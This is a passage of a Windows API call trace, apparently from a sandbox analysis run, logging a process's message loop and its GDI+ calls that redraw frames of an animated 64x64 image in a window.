[6]=0xc8, [7]=0x72)), frameIndex=0x10) returned 0x0 [0137.300] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0137.300] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0137.300] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0137.300] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0137.300] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x740107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0137.301] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0137.301] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x740107cb) returned 0x0 [0137.301] SelectObject (hdc=0x740107cb, h=0x185000f) returned 0x1a05067e [0137.301] DeleteDC (hdc=0x740107cb) returned 1 [0137.301] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0137.301] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0137.301] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0137.301] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0137.302] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0137.302] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0137.302] WaitMessage () returned 1 [0137.475] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0137.475] IsWindowUnicode (hWnd=0x2031e) returned 1 [0137.475] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0137.476] TranslateMessage (lpMsg=0x15e910) returned 0 [0137.476] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0137.476] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0137.476] GetCurrentThreadId () returned 0xec0 [0137.476] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0137.476] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0137.476] IsWindowUnicode (hWnd=0x2031e) returned 1 [0137.476] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0137.476] TranslateMessage (lpMsg=0x15e910) returned 0 [0137.476] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0137.476] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0137.477] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0137.477] CreateCompatibleDC (hdc=0x3010b83) returned 0x750107cb [0137.477] SelectObject (hdc=0x750107cb, h=0x1a05067e) returned 0x185000f [0137.477] GdipCreateFromHDC (hdc=0x750107cb, graphics=0x15daf0) returned 0x0 [0137.477] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0137.477] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0137.477] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0137.477] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0137.477] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0137.477] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0137.477] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0137.478] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0137.478] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0137.478] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0137.478] GdipCreateRegion (region=0x15dc20) returned 0x0 [0137.478] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0137.479] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0137.479] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0137.479] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0137.479] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0137.479] GetSystemMetrics (nIndex=42) returned 0 [0137.479] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0137.479] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0137.479] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0137.479] CoTaskMemFree (pv=0x1e7ac120) [0137.479] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0137.479] GdipCreateRegion (region=0x15d710) returned 0x0 [0137.479] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0137.480] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0137.480] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0137.480] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0137.480] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0137.480] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0137.480] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0137.480] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0137.481] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0137.481] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0137.481] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0137.481] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0137.481] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0137.481] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0137.481] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0137.481] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0137.481] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0137.482] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0137.482] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0137.482] GetCurrentObject (hdc=0x750107cb, type=0x1) returned 0x1b00017 [0137.482] GetCurrentObject (hdc=0x750107cb, type=0x2) returned 0x1900010 [0137.482] GetCurrentObject (hdc=0x750107cb, type=0x7) returned 0x1a05067e [0137.482] GetCurrentObject (hdc=0x750107cb, type=0x6) returned 0x18a002e [0137.482] SaveDC (hdc=0x750107cb) returned 1 [0137.482] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffac0407c3 [0137.482] GetClipRgn (hdc=0x750107cb, hrgn=0xffffffffac0407c3) returned 0 [0137.482] SelectClipRgn (hdc=0x750107cb, hrgn=0x7c040b8a) returned 2 [0137.482] DeleteObject (ho=0xffffffffac0407c3) returned 1 [0137.483] DeleteObject (ho=0x7c040b8a) returned 1 [0137.483] OffsetViewportOrgEx (in: hdc=0x750107cb, x=0, y=0, lppt=0x28063e0 | out: lppt=0x28063e0) returned 1 [0137.483] GetNearestColor (hdc=0x750107cb, color=0xffffff) returned 0xffffff [0137.483] CreateSolidBrush (color=0xffffff) returned 0xffffffff84100190 [0137.483] FillRect (hDC=0x750107cb, lprc=0x15d7c0, hbr=0xffffffff84100190) returned 1 [0137.483] DeleteObject (ho=0xffffffff84100190) returned 1 [0137.483] RestoreDC (hdc=0x750107cb, nSavedDC=-1) returned 1 [0137.483] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0137.483] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x750107cb) returned 0x0 [0137.483] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffcde0dbd) returned 0x0 [0137.484] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0137.484] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0137.484] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0137.484] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0137.484] GetSystemMetrics (nIndex=42) returned 0 [0137.484] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0137.484] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0137.484] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0137.484] CoTaskMemFree (pv=0x1e7ac120) [0137.484] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0137.484] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0137.485] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0137.485] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0137.485] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x750107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0137.485] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0137.485] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x750107cb) returned 0x0 [0137.485] SelectObject (hdc=0x750107cb, h=0x185000f) returned 0x1a05067e [0137.485] DeleteDC (hdc=0x750107cb) returned 1 [0137.485] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0137.485] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0137.485] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0137.486] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0137.486] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0137.486] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0137.486] WaitMessage () returned 1 [0137.765] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0137.765] IsWindowUnicode (hWnd=0x2031e) returned 1 [0137.765] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0137.765] TranslateMessage (lpMsg=0x15e910) returned 0 [0137.765] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0137.765] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0137.765] GetCurrentThreadId () returned 0xec0 [0137.765] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0137.766] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0137.766] IsWindowUnicode (hWnd=0x2031e) returned 1 [0137.766] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0137.766] TranslateMessage (lpMsg=0x15e910) returned 0 [0137.766] DispatchMessageW (lpMsg=0x15e910) returned 0x185000f [0137.766] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0137.766] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0137.766] CreateCompatibleDC (hdc=0x3010b83) returned 0x5c010a5d [0137.767] SelectObject (hdc=0x5c010a5d, h=0x1a05067e) returned 0x185000f [0137.767] GdipCreateFromHDC (hdc=0x5c010a5d, graphics=0x15daf0) returned 0x0 [0137.767] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0137.767] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0137.767] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0137.767] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0137.767] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0137.767] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0137.767] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0137.768] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0137.768] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0137.768] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0137.768] GdipCreateRegion (region=0x15dc20) returned 0x0 [0137.768] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0137.768] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0137.769] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0137.769] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0137.769] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0137.769] GetSystemMetrics (nIndex=42) returned 0 [0137.769] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0137.769] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0137.769] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0137.769] CoTaskMemFree (pv=0x1e7ac120) [0137.769] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0137.769] GdipCreateRegion (region=0x15d710) returned 0x0 [0137.769] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0137.769] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0137.769] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0137.770] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0137.770] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0137.770] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0137.770] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0137.770] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0137.771] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0137.771] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0137.771] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0137.771] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0137.771] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0137.771] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0137.772] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0137.772] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0137.772] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0137.772] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0137.772] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0137.772] GetCurrentObject (hdc=0x5c010a5d, type=0x1) returned 0x1b00017 [0137.772] GetCurrentObject (hdc=0x5c010a5d, type=0x2) returned 0x1900010 [0137.773] GetCurrentObject (hdc=0x5c010a5d, type=0x7) returned 0x1a05067e [0137.773] GetCurrentObject (hdc=0x5c010a5d, type=0x6) returned 0x18a002e [0137.773] SaveDC (hdc=0x5c010a5d) returned 1 [0137.773] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x7d040b8a [0137.773] GetClipRgn (hdc=0x5c010a5d, hrgn=0x7d040b8a) returned 0 [0137.773] SelectClipRgn (hdc=0x5c010a5d, hrgn=0xffffffffad0407c3) returned 2 [0137.774] DeleteObject (ho=0x7d040b8a) returned 1 [0137.774] DeleteObject (ho=0xffffffffad0407c3) returned 1 [0137.774] OffsetViewportOrgEx (in: hdc=0x5c010a5d, x=0, y=0, lppt=0x2806d18 | out: lppt=0x2806d18) returned 1 [0137.774] GetNearestColor (hdc=0x5c010a5d, color=0xffffff) returned 0xffffff [0137.774] CreateSolidBrush (color=0xffffff) returned 0xffffffff85100190 [0137.774] FillRect (hDC=0x5c010a5d, lprc=0x15d7c0, hbr=0xffffffff85100190) returned 1 [0137.774] DeleteObject (ho=0xffffffff85100190) returned 1 [0137.775] RestoreDC (hdc=0x5c010a5d, nSavedDC=-1) returned 1 [0137.775] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0137.775] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5c010a5d) returned 0x0 [0137.775] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffcdc0dbd) returned 0x0 [0137.775] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0137.775] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0137.775] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0137.775] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0137.775] GetSystemMetrics (nIndex=42) returned 0 [0137.775] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0137.776] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0137.776] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0137.776] CoTaskMemFree (pv=0x1e7ac120) [0137.776] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x12) returned 0x0 [0137.778] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0137.778] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0137.778] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0137.778] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0137.779] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x5c010a5d, x1=0, y1=0, rop=0xcc0020) returned 1 [0137.779] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0137.779] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5c010a5d) returned 0x0 [0137.779] SelectObject (hdc=0x5c010a5d, h=0x185000f) returned 0x1a05067e [0137.779] DeleteDC (hdc=0x5c010a5d) returned 1 [0137.779] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0137.779] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0137.779] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0137.779] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0137.779] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0137.779] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0137.779] WaitMessage () returned 1 [0137.927] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0137.927] IsWindowUnicode (hWnd=0x2031e) returned 1 [0137.927] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0137.927] TranslateMessage (lpMsg=0x15e910) returned 0 [0137.927] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0137.927] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0137.928] GetCurrentThreadId () returned 0xec0 [0137.928] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0137.928] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0137.928] IsWindowUnicode (hWnd=0x2031e) returned 1 [0137.928] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0137.928] TranslateMessage (lpMsg=0x15e910) returned 0 [0137.928] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0137.928] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0137.928] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0137.928] CreateCompatibleDC (hdc=0x3010b83) returned 0x160106c6 [0137.928] SelectObject (hdc=0x160106c6, h=0x1a05067e) returned 0x185000f [0137.929] GdipCreateFromHDC (hdc=0x160106c6, graphics=0x15daf0) returned 0x0 [0137.929] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0137.929] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0137.929] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0137.929] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0137.929] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0137.929] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0137.929] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0137.930] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0137.930] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0137.930] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0137.930] GdipCreateRegion (region=0x15dc20) returned 0x0 [0137.930] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0137.930] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0137.930] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0137.930] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0137.930] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0137.930] GetSystemMetrics (nIndex=42) returned 0 [0137.930] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0137.931] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0137.931] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0137.931] CoTaskMemFree (pv=0x1e7ac120) [0137.931] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0137.931] GdipCreateRegion (region=0x15d710) returned 0x0 [0137.931] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0137.931] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0137.931] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0137.931] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0137.931] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0137.931] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0137.932] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0137.932] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0137.932] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0137.932] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0137.932] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0137.932] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0137.932] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0137.933] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0137.933] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0137.933] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0137.933] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0137.933] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0137.933] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0137.933] GetCurrentObject (hdc=0x160106c6, type=0x1) returned 0x1b00017 [0137.933] GetCurrentObject (hdc=0x160106c6, type=0x2) returned 0x1900010 [0137.933] GetCurrentObject (hdc=0x160106c6, type=0x7) returned 0x1a05067e [0137.933] GetCurrentObject (hdc=0x160106c6, type=0x6) returned 0x18a002e [0137.933] SaveDC (hdc=0x160106c6) returned 1 [0137.934] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffae0407c3 [0137.934] GetClipRgn (hdc=0x160106c6, hrgn=0xffffffffae0407c3) returned 0 [0137.934] SelectClipRgn (hdc=0x160106c6, hrgn=0x7e040b8a) returned 2 [0137.934] DeleteObject (ho=0xffffffffae0407c3) returned 1 [0137.934] DeleteObject (ho=0x7e040b8a) returned 1 [0137.934] OffsetViewportOrgEx (in: hdc=0x160106c6, x=0, y=0, lppt=0x2808000 | out: lppt=0x2808000) returned 1 [0137.934] GetNearestColor (hdc=0x160106c6, color=0xffffff) returned 0xffffff [0137.935] CreateSolidBrush (color=0xffffff) returned 0xffffffff86100190 [0137.935] FillRect (hDC=0x160106c6, lprc=0x15d7c0, hbr=0xffffffff86100190) returned 1 [0137.935] DeleteObject (ho=0xffffffff86100190) returned 1 [0137.935] RestoreDC (hdc=0x160106c6, nSavedDC=-1) returned 1 [0137.935] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0137.935] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x160106c6) returned 0x0 [0137.936] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffcda0dbd) returned 0x0 [0137.936] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0137.936] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0137.936] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0137.936] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0137.936] GetSystemMetrics (nIndex=42) returned 0 [0137.936] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0137.936] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: 